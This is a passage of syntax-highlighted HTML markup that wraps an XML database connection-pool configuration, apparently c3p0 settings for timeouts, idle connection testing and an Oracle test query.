</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"debugUnreturnedConnectionStackTraces"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"true"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"unreturnedConnectionTimeout"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"3600"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"maxIdleTime"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"3600"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"idleConnectionTestPeriod"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"300"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"preferredTestQuery"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"select sysdate from DUAL"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"properties"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">props</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop key</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"user"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ramonal</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
